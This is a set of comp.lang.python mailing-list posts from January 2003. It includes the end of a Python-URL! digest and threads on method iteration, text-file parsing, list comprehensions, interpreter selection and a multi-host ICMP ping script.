        http://groups.google.com/groups?selm=3e2d27c6%241_1 at news.uni-bielefeld.de
    
    Why there is no way to kill a thread in Python, and possible ways to
    implement that feature.
        http://groups.google.com/groups?selm=b0r1ds%2410s0fi%241 at hades.rz.uni-sb.de
    
    
Announcements:
    PythonCard 0.7 - a GUI construction kit for building cross-platform
    desktiop applications.
        http://pythoncard.sourceforge.net/
    
    Free hosting for a few Python Open Source projects.
        mailto:gomuz at looze.net
    
    Sybase module 0.36pre3 - an interface to the Sybase relational
    database system.
        http://www.object-craft.com.au/projects/sybase/
    
    Pyro 3.1 - the PYthon Remote Objects distributed object system written
    entirely in Python.
        http://pyro.sourceforge.net/
    
    PyXML 0.8.2 - the basic tools erquired for processing XML data using
    Python in one easy-to-install package.
        http://pyxml.sourceforge.net/
    
    The first Open Source Digest article in a column devoted to exploring
    Python development. This article and the next cover SkunkWeb.
        http://www.opensourcedigest.com/modules.php?name=News&file=article&sid=7
    
    ctypes module - a python module to create and manipulate data c
    types in Python.  A new automated mailing list supports 0.3.5,
    which works properly for Windows, Linux, and MacOS X (at least).
        http://sourceforge.net/projects/ctypes/

========================================================================

Everything you want is probably one or two clicks away in these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of summarizing action on the
    python-dev mailing list once every other week.
	http://www.python.org/dev/summary/
    Partial archives are at
        http://starship.python.net/crew/mwh/summaries/
        http://www.amk.ca/python/dev

    The Vaults of Parnassus ambitiously collect Python resources
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation has replaced the Python Consortium
    as an independent nexus of activity
        http://www.python.org/psf/

    Cetus does much of the same
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Tenth International Python Conference 
        http://www.python10.org            

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From geoff at gerrietts.net  Fri Jan 31 14:33:41 2003
From: geoff at gerrietts.net (Geoff Gerrietts)
Date: Fri, 31 Jan 2003 11:33:41 -0800
Subject: converting data to hex
In-Reply-To: <7x1y2tupbe.fsf@ruckus.brouhaha.com>
References: <Q0j_9.1511$Ir1.259@newssvr16.news.prodigy.com> <mailman.1043972936.7953.python-list@python.org> <2kz_9.909$Fc3.97669323@newssvr21.news.prodigy.com> <7x1y2tupbe.fsf@ruckus.brouhaha.com>
Message-ID: <20030131193341.GK22043@isis.gerrietts.net>

Quoting Paul Rubin (phr-n2003b at NOSPAMnightsong.com):
> Mark Harrison <mh at pixar.com> writes:
> > >    value = tuple(map(ord,md5.new(myStr).digest()))
> > 
> > Most excellent...  It was only the ord that I originally
> > thought I needed, but tuple/map is so slick that now I don't
> > feel guilty about asking such a dumb question.
> 
> What are you really trying to do here?
> 
> Maybe what you want is more like
> 
>     import array
>     value = array.array('B', md5.new(myStr).digest())

I could be wrong (correct me if I am, please, Mark) but I believe what
he's looking for is an implementation of MD5.hexdigest() on a system
that doesn't have MD5.hexdigest() -- presumably a 1.5.2 system.

You can cook lots of different solutions for the problem, but the
three-liner I posted was the best combination of "clear" and "concise"
I could come up with for my application's needs.

--G.

-- 
Geoff Gerrietts           "By doing just a little every day, I can gradually 
                           let the task completely overwhelm me." 
<geoff at gerrietts net>        --Ashleigh Brilliant




From kolmodin at dtek.chalmers.se  Fri Jan  3 10:58:01 2003
From: kolmodin at dtek.chalmers.se (Lennart Kolmodin)
Date: Fri, 03 Jan 2003 15:58:01 GMT
Subject: Executing a modified function
References: <r0idna5vDeAYNImjXTWcqg@comcast.com>
Message-ID: <dqiR9.4221$LY2.245686@newsc.telia.net>

Try the latest version of IDLEfork 0.9a1:

--cut 'n' paste from homepage---
The biggest change in IDLEfork is to execute
Python code in a separate process, which is
/restarted/ for each Run (F5) initiated from an
editor window. This enhancement of IDLE has often
been requested, and is now finally available. The
magic "reload/import *" incantations are no longer
required when editing/testing a module two or
three steps down the import chain.
----------

-- Lenny
"Dave Bazell" <bazell at comcast.net> skrev i meddelandet
news:r0idna5vDeAYNImjXTWcqg at comcast.com...
> If I enter python and run a funtion, then I modify it and try to run it
> again, it appears I execute the old version.  Is there a way to force the
> new version to be executed in this situation, without leaving python and
> starting again?
>
> Dave
>
>





From carl_bevil at yahoo.com  Wed Jan 22 13:45:28 2003
From: carl_bevil at yahoo.com (Carl Bevil)
Date: Wed, 22 Jan 2003 10:45:28 -0800
Subject: Debugging mixed Python and C++ -- possible?
Message-ID: <CFN376434482471181@news.mindspring.com>

Hello all.  I'm investigating using Python for a large project to be completed 
later this year.  Parts of it will be coded in C++, mixed in with Python.

The platform we'll be coding on is "proprietary", and doesn't support dynamic 
linking, so if we decide to go with Python we'll embed the interpreter and any 
extension modules into the application itself.  At least, I think this is the 
best way to go based on the research I've done.

To debug in C++ on this platform, one can use CodeWarrior on a Windows machine 
remotely (CodeWarrior is also used to compile C++ to native code for this 
platform).

What I'm concerned about is the ability to debug Python scripts alongside C++ 
code.  Obviously having an interactive debugger helps speed up the development 
cycle; not having one may remove gains made from coding in a higher-level 
language like Python.

In this situation, what do people here suggest?  The debugger will run on a 
Windows machine, but needs to debug Python code running on a device elsewhere 
on the network.  I think it probably will have to be able to attach to an 
already running process, and will have to deal with the interpreter being 
embedded in another application.

Am I expecting too much?

Thanks!

Carl



From bokr at oz.net  Tue Jan  7 10:31:48 2003
From: bokr at oz.net (Bengt Richter)
Date: 7 Jan 2003 15:31:48 GMT
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <3E1ABCDA.7000209@corvil.com> <3E1AC41C.4080106@aon.at>
Message-ID: <avert4$s8f$0@216.39.172.122>

On Tue, 07 Jan 2003 13:12:12 +0100, Oliver Vecernik <vecernik at aon.at> wrote:

>Padraig Brady schrieb:
>> How about:
>> 
>> class Someclass:
>>     def __init__(self):
>>         pass
>>     def method1(self):
>>         pass
>>     def method2(self):
>>         pass
>>     def runallmethods(self):
>>         for name, func in self.__class__.__dict__.items():
       This limits search to the particular class dict, unlike dir(self)
       See below.
>>             if name[0:6] == 'method':
>>                 func(self)

>
>Well, I just see:
>
>__module__
>__doc__
>__init__
>
>But I didn't tell the whole story. Actually this class is subclassed:
>
>class Subclass(Someclass):
>     def __init__(self):
>         pass
>...
>
>def main():
>     ref = Subclass
                    ^- need () to make instance
>     ref.runallmethods()
>...
>
>All other methods are inherited from 'Someclass'. Sometimes 'Subclass' 
>may overload some methods, but in general they should be inherited. Is 
>there also a possiblity to iterate over all of them?
>

There might be some hole in this, but it seems to work:
(BTW I added a method to the subclass, to show that
that gets picked up too).
If the
    getattr(self, name)()
below seems cryptic, it's short for
    func = getattr(self, name) # get bound method
    func() # bound method call doesn't need self arg

====< OliverVercernik.py >===================
class Someclass:
    def __init__(self):
        pass
    def method1(self):
        print 'Hi from method1'
    def method2(self):
        print 'Hi from method2'
    def runallmethods(self):
        # for name, func in self.__class__.__dict__.items():
        for name in dir(self):
            if name[0:6] == 'method':
                getattr(self, name)()

class Subclass(Someclass):
     def __init__(self):
         pass
     def method_of_subclass(self):
         print 'Hi from method_of_subclass'

def main():
     ref = Subclass()
     ref.runallmethods()

if __name__ == '__main__':
    main()
=============================================

When run, it outputs:

[ 7:35] C:\pywk\clp>OliverVercernik.py
Hi from method1
Hi from method2
Hi from method_of_subclass

Regards,
Bengt Richter



From max at alcyone.com  Mon Jan 20 06:21:20 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 20 Jan 2003 03:21:20 -0800
Subject: isinstance is broken
References: <2259b0e2.0301180850.7421e446@posting.google.com> <b4iW9.2826$e34.1184@nwrddc04.gnilink.net> <7h3el78ks2e.fsf@pc150.maths.bris.ac.uk>
Message-ID: <3E2BDBB0.F38A1DC4@alcyone.com>

Michael Hudson wrote:

> I think not, because a type is always an object.
> 
> isinstance(c, object) == issubclass(type(c), object) == True.
>                       ^
>            except for old-style instances

Why would an explicit equality comparison to True (or False) ever be
useful?

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Love is the wisdom of the fool and the folly of the wise.
\__/ Samuel Johnson
    PyUID / http://www.alcyone.com/pyos/uid/
 A module for generating "unique" IDs in Python.



From pyth at devel.trillke.net  Fri Jan 10 08:52:05 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Fri, 10 Jan 2003 14:52:05 +0100
Subject: avoiding long paths to interpreter
In-Reply-To: <3E1E0EC7.3575F4CD@alcyone.com>; from max@alcyone.com on Thu, Jan 09, 2003 at 04:07:35PM -0800
References: <aviaqo$9k6$1@nntp1.jpl.nasa.gov> <x7lm1vupld.fsf@guru.mired.org> <3E1CD949.15CD3DCF@alcyone.com> <mailman.1042114877.2351.python-list@python.org> <3E1E0EC7.3575F4CD@alcyone.com>
Message-ID: <20030110145205.M349@prim.han.de>

Erik Max Francis wrote:
> holger krekel wrote:
> 
> > Probably right, although one could try putting the below into
> > a file:
> > ------------------------------------------------------------
> > #!/bin/sh
> > 
> > # find a specific python version you want to use from
> > # e.g. scanning PATH contents
> > # but i am far too lazy to write shell scripts now
> > # so i shortcut :-)
> > python=/usr/bin/python
> > 
> > $python <<__HERE__
> 	...
> 
> But this is precisely what env does in the first place, so you might as
> well just left the bangpath alone.
> 
> My point was not that using the (very common, and widely recommended)
> bangpath
> 
> 	#!/usr/bin/env python
> 
> won't work, it's just that which Python interpreter it finds depends on
> the PATH (because that is precisely what env does).  If you have
> multiple intepreters installed, then you may get unpleasant surprises if
> you're relying on finding a particular one, since PATHs will vary widely
> from interactive shell to cron job to CGI script.

the Shell script is free to look for the right python version (e.g. 
python2.1 minimum, python2.2 preferred, python2.3 possible). 
You can also choose to lookup some environment variables, check
the user id and base your decision on that. 

you can't do that with 'env'.

    holger




From itcram at yahoo.com  Tue Jan 14 15:26:47 2003
From: itcram at yahoo.com (Mark)
Date: 14 Jan 2003 12:26:47 -0800
Subject: Finding the calling method
Message-ID: <df392399.0301141226.1554a055@posting.google.com>

I don't know if you there is a function or method you can call to find
this.  Inside a method(method A) I'm calling another method(method B)
inside the same class.  Is there a way while I'm inside method B to
find out what method called it, which would be method A.  Do I have to
look at the stack or is there a function to call?

Thanks!!!!

-Mark



From bub at joos.us  Sat Jan 11 11:59:56 2003
From: bub at joos.us (Bubba)
Date: Sat, 11 Jan 2003 16:59:56 GMT
Subject: Newbie simple py2exe problem
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <pete.joos@pobox.com>  of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> <mailman.1042296260.10798.python-list@python.org>
Message-ID: <o7j02vkju89bajmdm2jr2obkjik1i22bpc@4ax.com>

On Sat, 11 Jan 2003 15:39:45 +0100, Laura Creighton <lac at strakt.com>
 wrote:thers is no traceback. I'm running XP as admin. Ran it in the
cmd window. Only error is the syntax error previously posted

>> created small python app., Installed distutils, installed py2exe. I
>> created the script using the example from the py2exe site. When I run
>> "python setup.py py2exe" , I get a syntax error on "from
>> distutils.core  import setup". What's my problem? 
>> -- 
>> http://mail.python.org/mailman/listinfo/python-list
>
>1. check your permissions.
>if they are ok ...
>2. post the real traceback, please.
>
>Laura Creighton




From paul at boddie.net  Wed Jan 29 10:03:05 2003
From: paul at boddie.net (Paul Boddie)
Date: 29 Jan 2003 07:03:05 -0800
Subject: Zope-like html-forms and required, disappearing valuesserverside in plain python
References: <87OZ9.16601$CG6.281469@news4.e.nsc.no> <mailman.1043838052.28710.python-list@python.org>
Message-ID: <23891c90.0301290703.1faab0e3@posting.google.com>

Ian Bicking <ianb at colorstudy.com> wrote in message news:<mailman.1043838052.28710.python-list at python.org>...
> On Wed, 2003-01-29 at 04:34, Thomas Weholt wrote:
> > I'm trying to implement something similar to Zopes html-forms:
> > 
> > <form ....>
> >   <input type="text" name="name:string:required">
> >   <input type="text" name="age:int">
> >   ...
> > </form>
> 
> This Zope technique is lame.  You shouldn't put validation information
> into the form like this, you should keep it on the server side where
> it's safe and can actually be trusted.

Indeed. In a recent thread, it was pointed out how convenient it could
be to write things like "collection[]" and interpret such things as
lists, and this is relatively harmless as long as the application
itself knows what to expect.

> I'd describe the form in the form handler.  (Well, I wrote FunFormKit
> (.sf.net), so I went a lot further than that)

Yes, I suspect that FunFormKit would be of interest here. I've written
some form validation stuff myself, although it's based on XML
descriptions of the expected data which could be seen as overkill for
forms with just a few fields. Having said that, I personally can't
stand writing explicit validation checks in my servlets/handlers as if
it were 1996. ;-)

Paul



From stojek at part-gmbh.de  Tue Jan 28 06:16:04 2003
From: stojek at part-gmbh.de (Marcus Stojek)
Date: Tue, 28 Jan 2003 11:16:04 GMT
Subject: Can you do it faster? (parsing text file)
Message-ID: <3e3650fc.2103718@news.easynews.net>

Hi,

I have to parse large txt-files (15Mb and more, 200000 lines).
The file consits of comma separated keywords and alphanumerical data.
Each command line starts with some or no blanks, a '*' and the keyword
followed by comma separated paramters
(*LINE,colour= red, thiCKneSS=2.3
 12.3,34.5,2.0
 67.0,3.1,45.9
 12.3,34.5,2.0
 67.0,3.1,45.9
*LINE,colour= blue, thiCKneSS=2.6,
 12.3,34.5,2.0
 67.0,3.1,45.9
**This is a comment
**default color and thickness
*LINE,, 
 67.0,3.1,45.9
)
comment lines  have to start with some or no blanks and a '**'

For parsing this file I want to generate a list containing all tokens 
(keyword,parameter,data), one after the other.

The replace operations are done with the whole file instead of 
for li in fa.readlines():
because I think it's faster.

To delete the comment lines I have to split the file, then filter it.

Afterwards the single lines are attached to the token list that will
be parsed.

Below you find an example that generates a dummy file and parses it.
On my office PC it takes 16 seconds for preparing the token list and
16 seconds for parsing. This is too slow for me. Does anybody see
where I am loosing speed? I tried working with re to get rid of the
comment lines, but this is not much faster. Using string.translate()
instead of the two replace() and one upper() didn't increase the speed

either.

Is there a differnt approach for parsing such a file?

Thanks for any help.

marcus



#---snip----------------------------------------------------
import string
import time

#----------------------------------------------------------
def delcomm(x):
    if x[:2]!='**':
        return 1
    else:
        return 0
#----------------------------------------------------------
def read_file(filename):
    fa=open(filename,'r')
    d=fa.read()
    fa.close()

    d=string.replace(d,' ','')
    d=string.replace(d,'\t','')
    d=string.upper(d)

    d=string.split(d,'\n')

    d=filter(delcomm,d)

    tok=[]
    for s in d:
        tok.extend(string.split(s,','))

    tok=filter(lambda x:x,tok)
    tok.append('*ENDFILE')#emulate EOF

    print 'prepare token list:',time.clock()
    print tok[-10:]
    return tok
#----------------------------------------------------------
def parse_file(filename):
# the light version, assuming number and order of parameters are fixed
    tok=read_file(filename)
    lines=[]
    i=0
    while tok[i]:
        if tok[i]=='*LINE':
            color=tok[i+1]
            thick=tok[i+2]
            i+=3
            data_per_line=3
            while tok[i][0]!='*':
                x,y,z=tok[i],tok[i+1],tok[i+2]
                lines.append((float(x),float(y),float(z)))
                i+=data_per_line
        elif tok[i]=='*ENDFILE':
            return lines
        else:
            i+=1
    return 0
#------------------------------------------------------------
def gen_file(filename):
    fa=open(filename,'w')
    for i in range(400):
        fa.write('*LINE, Color =red, Thickness=3.1,\n')
        for j in range(500):
            fa.write('3.0000000,  2.0000000,  7.000000000\n')
            fa.write('13.0000000,  97.0000000,  -127.000000000,\n')
        for j in range(15):
            fa.write('** This is a comment\n')
            fa.write('     *** This is a comment, with a comma\n')
    fa.close()
#------------------------------------------------------------

filename='d:/temp/bench.txt'
gen_file(filename)
time.clock()
L=parse_file(filename)
print 'parsing: ',time.clock()
#---snip----------------------------------------------------




From max at alcyone.com  Mon Jan 13 06:18:23 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 03:18:23 -0800
Subject: Urgent. malformed header from script error!
References: <mailman.1042455263.12060.python-list@python.org>
Message-ID: <3E22A07F.46EF6FAF@alcyone.com>

Manos Papagelis wrote:

> Running apache on solaris the following error occurs when trying to
> run a
> python script:
> 
>     malformed header from script. Bad header=Could not  read-open file
> /bla:
> blabla.py
> 
> Although it seems to be a simple permition problem, it is not fixed by
> changing the permitions of the refered directory and file.
> 
> Could anyone suggest what's the problem and how can be solved?

The exact message is crucial; when asking for technical answers for
technical questions, paraphrasing is never helpful.

>From the description, it's either a permissions problem (the script is
not executable by the user the server runs as, usually nobody), a server
configuration problem (the server is not configured to execute CGI
scripts in the place you've put the file, or it does not recognize the
.py extension as a legal CGI script), or it's a header problem (you're
not printing a proper HTTP header at the top of the script).  Which of
the three it is, it's hard to say without accurate information.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ Only the winners decide what were war crimes.
\__/ Gary Wills
    Bosskey.net: Counter-Strike / http://www.bosskey.net/cs/
 A personal guide to Counter-Strike.



From davecook at nowhere.net  Sun Jan 19 04:32:50 2003
From: davecook at nowhere.net (David M. Cook)
Date: Sun, 19 Jan 2003 09:32:50 GMT
Subject: data bound controls/Boa
References: <Is_V9.440$TM2.220@newssvr19.news.prodigy.com> <tchk2vsf74h450mckj1utagsdefd10nbao@4ax.com>
Message-ID: <slrnb2ks63.1gd.davecook@localhost.localdomain>

In article <tchk2vsf74h450mckj1utagsdefd10nbao at 4ax.com>, Tim Roberts wrote:

> Complicated question.  Python doesn't have any native GUI, so there's no
> such thing as a "control".  There are add-in modules like wxPython or
> tkInter that give you a GUI interface.  None of them have bound controls
> built-in, although you could build one if you wanted.

wxPython 2.4 does have a "wxDbGrid class for displaying ODBC tables"
according to the changes file.  I don't know anything else about it.

Dave Cook



From gerrit at nl.linux.org  Sat Jan 25 15:13:21 2003
From: gerrit at nl.linux.org (Gerrit Holl)
Date: Sat, 25 Jan 2003 21:13:21 +0100
Subject: Illegal literal or not?
In-Reply-To: <3E32E570.63A1AEAC@engcorp.com>
References: <_RfY9.862$d66.98244@newsread1.prod.itd.earthlink.net> <dGrM+ks/KrEc089yn@the-wire.com> <3E32E570.63A1AEAC@engcorp.com>
Message-ID: <20030125201321.GA2768@nl.linux.org>

Peter Hansen schreef op zaterdag 25 januari om 20:32:03 +0000:
> Mel Wilson wrote:
> > >>> print "'" + '"' + "Let's try this!" + '"' + ', they said.' + "'"
> > >>> print ''.join (["'", '"', "Let's try this!", '"', ', they said.', "'"])

> >>> print '"'.join(["'", "Let's try this!", ", they said.'"])
> '"Let's try this!", they said.'

>>> print "'"'"'"Let's try this!"'"'', they said.'"'"
'"Let's try this!", they said.'

:)

yours,
Gerrit.

-- 
Asperger Syndroom - een persoonlijke benadering:
	http://people.nl.linux.org/~gerrit/
Het zijn tijden om je zelf met politiek te bemoeien:
	http://www.sp.nl/




From vecernik at aon.at  Tue Jan  7 06:24:16 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Tue, 07 Jan 2003 12:24:16 +0100
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at>
Message-ID: <3E1AB8E0.5070804@aon.at>

Oliver Vecernik schrieb:
> [...]
 >
>     def runallmethods(self):
>         for func in dir(self):
>             if func[0:4] == 'method':
                         ^ should be 6, of course, but doesn't work anyway!




From dgallion1 at yahoo.com  Fri Jan  3 22:07:38 2003
From: dgallion1 at yahoo.com (darrell)
Date: Sat, 04 Jan 2003 03:07:38 GMT
Subject: ping multiple Ips with python
References: <8db020b9.0301031420.25e56f3b@posting.google.com>
Message-ID: <_dsR9.67891$eq2.17373053@twister.nyroc.rr.com>

Multiple ping sounded like fun.
So here's a quick mod to some ping code I found.

--Darrell Gallion


#!/usr/bin/env python

# Derived from ping.c distributed in Linux's netkit. That code is
# copyright (c) 1989 by The Regents of the University of California.
# That code is in turn derived from code written by Mike Muuss of the
# US Army Ballistic Research Laboratory in December, 1983 and
# placed in the public domain. They have my thanks.

# Bugs are naturally mine. I'd be glad to hear about them. There are
# certainly word-size dependenceies here.

# Copyright (c) Matthew Dixon Cowles, <http://www.visi.com/~mdc/>.
# Distributable under the terms of the GNU General Public License
# version 2. Provided with no warranties of any sort.

# Note that ICMP messages can only be sent from processes running
# as root.

# Revision history:
#
# November 22, 1997
# Initial hack. Doesn't do much, but rather than try to guess
# what features I (or others) will want in the future, I've only
# put in what I need now.
#
# December 16, 1997
# For some reason, the checksum bytes are in the wrong order when
# this is run under Solaris 2.X for SPARC but it works right under
# Linux x86. Since I don't know just what's wrong, I'll swap the
# bytes always and then do an htons().
#
# December 4, 2000
# Changed the struct.pack() calls to pack the checksum and ID as
# unsigned. My thanks to Jerome Poincheval for the fix.
#
# Jan 3, 2003
# Added Pinger class to handle multiple ping dest
# Darrell Gallion
#

import os
from socket import *
import struct
import select
import time
import sys

# From /usr/include/linux/icmp.h; your milage may vary.
ICMP_ECHO_REQUEST=8 # Seems to be the same on Solaris.
myID=os.getpid() & 0xFFFF

# I'm not too confident that this is right but testing seems
# to suggest that it gives the same answers as in_cksum in ping.c
def checksum(str):
  sum=0
  countTo=(len(str)/2)*2
  count=0
  while count<countTo:
    thisVal=ord(str[count+1])*256+ord(str[count])
    sum=sum+thisVal
    sum=sum & 0xffffffff # Necessary?
    count=count+2

  if countTo<len(str):
    sum=sum+ord(str[len(str)-1])
    sum=sum & 0xffffffff # Necessary?

  sum=(sum >> 16) + (sum & 0xffff)
  sum=sum+(sum >> 16)
  answer=~sum
  answer=answer & 0xffff

  # Swap bytes. Bugger me if I know why.
  answer=answer >> 8 | (answer << 8 & 0xff00)
  return answer


class Pinger:
    def __init__(self, *dest):
        self.results={}
        icmp=getprotobyname("icmp")
        self.soc=socket(AF_INET,SOCK_RAW,icmp)
    
    def receivePings(self,timeout):
        timeLeft=timeout
        while 1:
            startedSelect=time.time()
            whatReady=select.select([self.soc],[],[],timeLeft)
            howLongInSelect=(time.time()-startedSelect)
            if whatReady[0]==[]: # Timeout
                return 
            timeReceived=time.time()
            recPacket,addr= self.soc.recvfrom(1024)
            icmpHeader=recPacket[20:28]
            
type,code,checksum,packetID,sequence=struct.unpack("bbHHh",icmpHeader)
            if self.destDict.has_key(packetID):
                bytesInDouble=struct.calcsize("d")
                
timeSent=struct.unpack("d",recPacket[28:28+bytesInDouble])[0]
                dT = timeReceived-timeSent
                self.results[self.destDict[packetID]]=dT
#                print self.destDict[packetID], dT
                del self.destDict[packetID]
                if len(self.destDict)==0:
                    return
                
            timeLeft=timeLeft-howLongInSelect
            if timeLeft<=0:
                return 
    
    def sendPings(self):
        for ID, dest in self.destDict.items():
            # Header is type (8), code (8), checksum (16), id (16), sequence 
(16)
            myChecksum=0
            # Make a dummy heder with a 0 checksum.
            header=struct.pack("bbHHh",ICMP_ECHO_REQUEST,0,myChecksum, ID,1)
            bytesInDouble=struct.calcsize("d")
            data=(192-bytesInDouble) * "Q"
            data=struct.pack("d",time.time())+data
            # Calculate the checksum on the data and the dummy header.
            myChecksum=checksum(header+data)
            # Now that we have the right checksum, we put that in. It's just 
easier
            # to make up a new header than to stuff it into the dummy.
            
header=struct.pack("bbHHh",ICMP_ECHO_REQUEST,0,htons(myChecksum), ID,1)
            packet=header+data
            self.soc.sendto(packet,(dest,1)) # Don't know about the 1
    
    def ping(self, destAddr,timeout=10):
        # Returns either the delay (in seconds) or none on timeout.
        dest=[]
        for n in destAddr:
            dest.append(gethostbyname(n))
        self.destDict={}
        cnt=3 # Started at 3 for no good reason
        for d in destAddr:
            self.destDict[cnt]=d
            cnt+=1
            
        self.sendPings()
        self.receivePings(timeout)
        self.soc.close()
        return self

def main():
    if len(sys.argv)<2:
        print "Usage: %s hostname" % os.path.basename(sys.argv[0])
        sys.exit(1)

    print Pinger().ping(sys.argv[1:]).results
    return None

if __name__=='__main__':
  main()
  sys.exit(0)




From wurmy at earthlink.net  Tue Jan  7 19:43:19 2003
From: wurmy at earthlink.net (Hans Nowak)
Date: Wed, 08 Jan 2003 00:43:19 GMT
Subject: list comprehensions value assignment syntax error
References: <mailman.1041983459.23262.python-list@python.org>
Message-ID: <3E1B74F8.2020200@earthlink.net>

Gerrit Holl wrote:

> I am trying to assign to a list item using list comprehensions, but this
> raises a SyntaxError:
> 
>>>>[l[i] = chr(i) for i in range(256)]
>>>
>    File "<stdin>", line 1
>        [l[i] = chr(i) for i in range(256)]
> 	             ^
> 				 SyntaxError: invalid syntax
> 
> Why?

The first part of a list comprehension must be an expression. An assignment 
like l[i] = chr(i) is a statement.

> Do I really have to abandon list comprehensions or do this?:
> 
>>>>[l.__setitem__(i, chr(i)) for i in range(256)]

This looks like an abuse of list comprehensions, doing something with them that 
they're not really meant for.

As others have pointed out, you can write this as

   l = [chr(i) for i in range(256)]

or, if you don't want to rebind l to a new object,

   l[:] = [chr(i) for i in range(256)]

Or use a for loop, of course:

   l = []
   for i in range(256):
       l[i] = chr(i)

Cheers,

-- 
Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA=='))
# decode for email address ;-)
The Pythonic Quarter:: http://www.awaretek.com/nowak/
Kaa:: http://www.awaretek.com/nowak/kaa.html




From jbperez808 at yahoo.com  Tue Jan 21 09:57:25 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: Tue, 21 Jan 2003 22:57:25 +0800
Subject: a fairly ugly/kludgy way to get 'aliases' in Python
References: <f57664b9.0301161552.5dff2038@posting.google.com> <mailman.1042827297.2914.python-list@python.org> <b0a9cp$4a8$0@216.39.172.122>
Message-ID: <3e2deb01@post.usenet.com>

**** Post for FREE via your newsreader at post.usenet.com ****

> (Except I think it was a typo and either his alias1
> was supposed to be alias or vice versa).

Whoops, yes it was a typo.

> If you want to do table-driven aliasing in another way, look at the x method below, yet note
> that the actual values are stored with the long-name attributes (as seen with vars(a)).
> Of course, I'm not sure what all this is about ;-)

I'd like to be able to substitute a shorter alias
for a member variable with a long name at certain
arbitrary points in the source code when using
self.long_long_name multiple times would quickly
cause code to be unreadable and/or need multiple
lines to contain.

In certain contexts it makes sense to use a shorter
alias for a member variable as in below:

    height=self.numDisplayedItems # unassignable alias of self.numDisplayedItems
    halfway=height/2
    firstItemToShow=min(max((self.selectedIndex>halfway)
                        *self.selectedIndex-halfway,0),len(self.list)-height)
    for item in self.list[firstItemToShow:firstItemToShow+height]:
      SLsmg_gotorc(y,x)
     ...

Here I want to name the variable referring to the number of
items a dropdown list can show at one time as numDisplayedItems
because I find it a more accurate description.  But in certain
parts of the code like the one shown above, I'd like to refer
to it by the variable name 'height' because in the context of
the calculations shown, it makes sense to call it that and
being shorter, it would also make the code a lot more
readable.  Unassignable RHS-only aliases probably would do in
majority of the cases, but I was also trying to think up of a
way to make an alias work on the left hand side.


> ===< t_alias.py >==============
> class Aliaser(type):
>     def __new__(cls, name, bases, cdict):
>         for alias, orig in cdict['__rw_aliases__']:
>             d = {'alias':alias, 'orig':orig}
>             exec ("""\
> def _get_%(alias)s(self): return self.%(orig)s
> def _set_%(alias)s(self, v): self.%(orig)s = v
> %(alias)s = property(_get_%(alias)s, _set_%(alias)s)
> """ % d) in cdict
>         return type.__new__(cls, name, bases, cdict)

Some interesting Python voodoo there worthy of study.
Thanks.



-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
 *** Usenet.com - The #1 Usenet Newsgroup Service on The Planet! ***
                      http://www.usenet.com
Unlimited Download - 19 Seperate Servers - 90,000 groups - Uncensored
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=



From jtk at yahoo.com  Tue Jan 28 15:50:55 2003
From: jtk at yahoo.com (Jeff Kowalczyk)
Date: Tue, 28 Jan 2003 15:50:55 -0500
Subject: Update:KOBRA - .NET for Python
References: <6_XY9.47838$4y2.1983@sccrnsc04> <mailman.1043682230.10653.python-list@python.org> <pan.2003.01.28.00.31.22.615165@dot.com> <mailman.1043763594.24989.python-list@python.org> <3WyZ9.67758$_s4.37551@rwcrnsc54>
